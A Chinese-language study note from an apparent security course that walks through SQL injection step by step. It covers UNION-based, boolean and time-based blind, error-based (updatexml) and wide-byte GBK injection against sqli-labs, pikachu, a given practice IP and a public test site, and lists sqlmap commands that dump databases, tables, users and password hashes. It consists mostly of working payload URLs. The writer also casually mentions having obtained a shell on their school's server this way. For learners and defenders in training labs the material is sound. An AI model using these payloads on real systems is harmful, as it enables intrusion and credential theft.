第三天讲了sql注入,给了测试网站,在通知页面有一个注入点
构造payload:
http://219.153.49.228:46485/new_list.php?id=1 and 1=1 order by 1
http://219.153.49.228:46485/new_list.php?id=1 and 1=1 order by 2
一直试到order by 5会返回白页面,所以可知这个页面有4个字段。Order by是索引排序。%20是url编码,空格变成%20
接下来寻找回显点
http://219.153.49.228:46485/new_list.php?id=-1 union select 3,4,5,6
Id=-1返回白页,如果使用id=1会导致页面被盖掉。Union select 是联合查询,比较常见的注入点,特别是这种通知公告页面,我之前的就是通过通知公告页面+联合查询拿到了学校服务器的shell。通过select 3,4,5,6来确认回显点,可以知道4和5的位置是回显点
接下来通过database()函数和user()函数来确认库名和用户名
http://219.153.49.228:46485/new_list.php?id=-1%20union%20select%203,user(),5,6
http://219.153.49.228:46485/new_list.php?id=-1%20union%20select%203,user(),5,6
http://219.153.49.228:46485/new_list.php?id=-1%20union%20select%201,group_concat(table_name),3,4%20from%20information_schema.tables%20where%20table_schema=database()--%20-
Group concat是将查询结果拼成一个字符串,因为所有库的信息都保存在schema.tables里,所以先通过schema.tables查表名
接下来查表里字段名
http://219.153.49.228:46485/new_list.php?id=-1%20union%20select%201,group_concat(column_name),3,4%20from%20information_schema.columns%20where%20table_name=%22StormGroup_member%22
http://219.153.49.228:46485/new_list.php?id=-1 union select 1,group_concat(name),3,4 from StormGroup_member
http://219.153.49.228:46485/new_list.php?id=-1 union select 1,group_concat(password),3,4 from StormGroup_member
接下来是尝试用sql-lab练习sql注入
Lesson-1
建议进入php文件,添加echo语句,让自己能看到构造的语句是啥样子,方便学习
Mysql注释符有3种:
1、#… "#"注释. 以#开头的一句表示注释一行如:
2、-- -,注意–后面有一个空格-
3、/…/
试一下 – -
构造payload,使用order by来看下有多少个字段,试到4报错说明有3个字段
接下来用一个单引号闭合掉id=1,然后再使用-- -注释掉后面语句,找到回显点
http://localhost/sqli-labs-master/Less-1/?id=-1%27%20union%20select%201,2,3%20--%20-
http://localhost/sqli-labs-master/Less-1/?id=-1%27%20union%20select%201,database(),user()%20--%20-
同样的方式,用union select从information_schema.tables 里读取表信息
http://localhost/sqli-labs-master/Less-1/?id=-1%27%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=database()--%20-
http://localhost/sqli-labs-master/Less-1/?id=-1%27%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_name=%27users%27--%20-
继续,尝试读取username和password
http://localhost/sqli-labs-master/Less-1/?id=-1%27%20union%20select%201,group_concat(username),3%20from%20users--%20-
http://localhost/sqli-labs-master/Less-1/?id=-1%27%20union%20select%201,group_concat(password),3%20from%20users%20where%20username=%27admin%27--%20-
通过这样就直接可以得到用户的密码了
以上就是基础手注的过程,接下来是用sql-lab 第5关理解盲注
构造几个payload发现,没有回显了
盲注举例:实质就是用大量判断来逐个确定字符,因为工作量巨大,所以实际需要通过sqlmap和python脚本来实现。试几次后就能发现?id=1’ and length(database())=8-- -能返回正确页面,=7或=9都报错,说明库名就是8个字符(security)
猜测数据库
?id=1' and length(database())=8-- -
id=1' and left(database(),1)>'a' -- - 1
id=1' and left(database(),1)>'z' -- - 0
在a-z之间
id=1' and left(database(),1)>'r' -- -1
id=1' and left(database(),1)>'s' -- -0
id=1' and left(database(),2)>'sa'-- -
通过ascii码比较来筛选字符
猜测表
id=1' and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit a,1)b,1))>n
a是从0开始第几个表,b是为第几个字符,n是ASCII所对应的十进制数
第一个表
ascii(substr((select table_name information_schema.tables where tables_schema=database() limit 0,1),1,1))=101
ascii(substr((select table_name information_schema.tables where tables_schema=database() limit 0,1),1,1))=101
第二个表
ascii(substr((select table_name information_schema.tables where tables_schema=database() limit 1,1),1,1))=101
判断user表
http://localhost/Tkitn/sqlitest/Less-5/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='user' limit 0,1),1,1))>100%23
爆出字段
http://localhost/Tkitn/sqlitest/Less-5/?id=1' and ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))=68-- -
可以看到还是比较麻烦的,实际中用的还是sqlmap
sqlmap用法:
# 检测注入点是否可用
sqlmap -u ‘http://192.168.87.19/index.php?r=default/news/content&id=12’
#可曝出该mysql中所有数据库名称
sqlmap -u ‘http://192.168.87.19/index.php?r=default/news/content&id=12’ --dbs
#web当前使用的数据库
sqlmap -u 'http://192.168.87.19/index.php?r=default/news/content&id=12' --current-db
#web数据库使用账户
sqlmap -u 'http://192.168.87.19/index.php?r=default/news/content&id=12' --current-user
#列出sql所有用户
sqlmap -u ‘http://192.168.87.19/index.php?r=default/news/content&id=12’ --users
#数据库账户与密码
sqlmap -u 'http://192.168.87.19/index.php?r=default/news/content&id=12' --passwords
#输出所有的表
sqlmap -u ‘http://192.168.87.19/index.php?r=default/news/content&id=12’ --tables
#-D 指定数据库名
sqlmap -u 'http://192.168.87.19/index.php?r=default/news/content&id=12' -D 【数据库名】 --tables
#-T:指定要列出字段的表 --columns 列出了所有的列字段
sqlmap -u 'http://192.168.87.19/index.php?r=default/news/content&id=12' -D 【数据库名】 -T 【表名】 --columns
# -C :指定要暴的字段
sqlmap -u ‘http://192.168.87.19/index.php?r=default/news/content&id=12’ -D 【数据库名】 -T 【表名】 -C“username,realname,password” --dump
基于时间的盲注,最麻烦也最耗时的注入
http://192.168.255.199/Tkitn/sqli-labs-master/Less-5/index.php?id=1%27%20and%20sleep(6)--%20-
其中sleep(6)就是停6秒
通过以下语句来检查,和之前的盲注是一个原理,如果符合条件则页面响应时间边长
id=1' and If(ascii(substr(database(),1,1))=115,1,sleep(5))-- -
substr就是取database()字符串的前1位,115是s的ascii码值
ascii(substr(database(),2,1)就是取字符串第二位,
接下来是报错注入,通过报错看信息,但还是需要回显点:
看版本
http://192.168.255.199/Tkitn/sqli-labs-master/Less-5/index.php
?id=2' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) -- -
看库名
http://192.168.255.199/Tkitn/sqli-labs-master/Less-5/index.php
?id=2' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database() limit 0,1),0x7e),1)-- -
看列名
http://192.168.255.199/Tkitn/sqli-labs-master/Less-5/index.php
?id=2' and updatexml(1,concat(0x7e,(select (column_name) from information_schema.columns where table_name="users" limit 0,1),0x7e),1)-- -
在sql-lab第5关即可实验报错注入,注意在注列名的时候只会出现一个字段,通过修改limit参数可以逐一把字段名读出来
0x7E是 ~符号
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值
练习:pikachu平台
直接burp抓包-》send to repater
更改id字段尝试注入,和之前的知识点一样
id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()-- -
此外,将burp里面的包copy下来放到txt里,使用sqlmap -r xxx.txt即可使用sqlmap 来跑
还有一种变化的万能密码,不过没有注入的情况下还有万能密码这种还是很少见的,最好还是抓包 sqlmap -r 跑
如 ’ or ‘1’=‘1’#
宽字节注入:
gbk编码,默认是两个字节当做中文处理,用%df来处理掉\符号,sqlmap需要特殊构造下才能跑出来
sqlmap -u "chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df'"
注意宽字节注入时表名,库名使用单引号会出问题,需要将名字转成16进制才行
如table_name=0x67626b73716c69
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df%27%20union%20select%201,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=0x67626b73716c69--%20-